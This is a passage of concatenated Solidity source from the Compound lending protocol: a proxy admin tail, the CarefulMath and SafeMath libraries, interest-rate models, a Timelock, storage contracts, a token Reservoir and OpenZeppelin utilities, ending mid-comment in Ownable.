0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } }pragma solidity ^0.5.16; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's JumpRateModel Contract * @author Compound */ contract JumpRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } } pragma solidity ^0.5.16; import "./SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's JumpRateModel Contract V2 * @author Compound (modified by Dharma Labs) * @notice Version 2 modifies Version 1 by enabling updateable parameters. */ contract JumpRateModelV2 is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly */ address public owner; /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) public { owner = owner_; updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock) * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external { require(msg.sender == owner, "only the owner may call this function."); updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } /** * @notice Internal function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_)); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } pragma solidity ^0.5.16; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's WhitePaperInterestRateModel Contract * @author Compound * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper */ contract WhitePaperInterestRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) */ constructor(uint baseRatePerYear, uint multiplierPerYear) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); emit NewInterestParams(baseRatePerBlock, multiplierPerBlock); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint ur = utilizationRate(cash, borrows, reserves); return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } } pragma solidity ^0.5.16; /** * @title Reservoir Contract * @notice Distributes a token to a different contract at a fixed rate. * @dev This contract must be poked via the `drip()` function every so often. * @author Compound */ contract Reservoir { /// @notice The block number when the Reservoir started (immutable) uint public dripStart; /// @notice Tokens per block that to drip to target (immutable) uint public dripRate; /// @notice Reference to token to drip (immutable) EIP20Interface public token; /// @notice Target to receive dripped tokens (immutable) address public target; /// @notice Amount that has already been dripped uint public dripped; /** * @notice Constructs a Reservoir * @param dripRate_ Numer of tokens per block to drip * @param token_ The token to drip * @param target_ The recipient of dripped tokens */ constructor(uint dripRate_, EIP20Interface token_, address target_) public { dripStart = block.number; dripRate = dripRate_; token = token_; target = target_; dripped = 0; } /** * @notice Drips the maximum amount of tokens to match the drip rate since inception * @dev Note: this will only drip up to the amount of tokens available. * @return The amount of tokens dripped in this call */ function drip() public returns (uint) { // First, read storage into memory EIP20Interface token_ = token; uint reservoirBalance_ = token_.balanceOf(address(this)); // TODO: Verify this is a static call uint dripRate_ = dripRate; uint dripStart_ = dripStart; uint dripped_ = dripped; address target_ = target; uint blockNumber_ = block.number; // Next, calculate intermediate values uint dripTotal_ = mul(dripRate_, blockNumber_ - dripStart_, "dripTotal overflow"); uint deltaDrip_ = sub(dripTotal_, dripped_, "deltaDrip underflow"); uint toDrip_ = min(reservoirBalance_, deltaDrip_); uint drippedNext_ = add(dripped_, toDrip_, "tautological"); // Finally, write new `dripped` value and transfer tokens to target dripped = drippedNext_; token_.transfer(target_, toDrip_); return toDrip_; } /* Internal helper functions for safe math */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function min(uint a, uint b) internal pure returns (uint) { if (a <= b) { return a; } else { return b; } } } import "./EIP20Interface.sol"; // Modified from Synthetix's Unipool: https://etherscan.io/address/0x48D7f315feDcaD332F68aafa017c7C158BC54760#code // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership 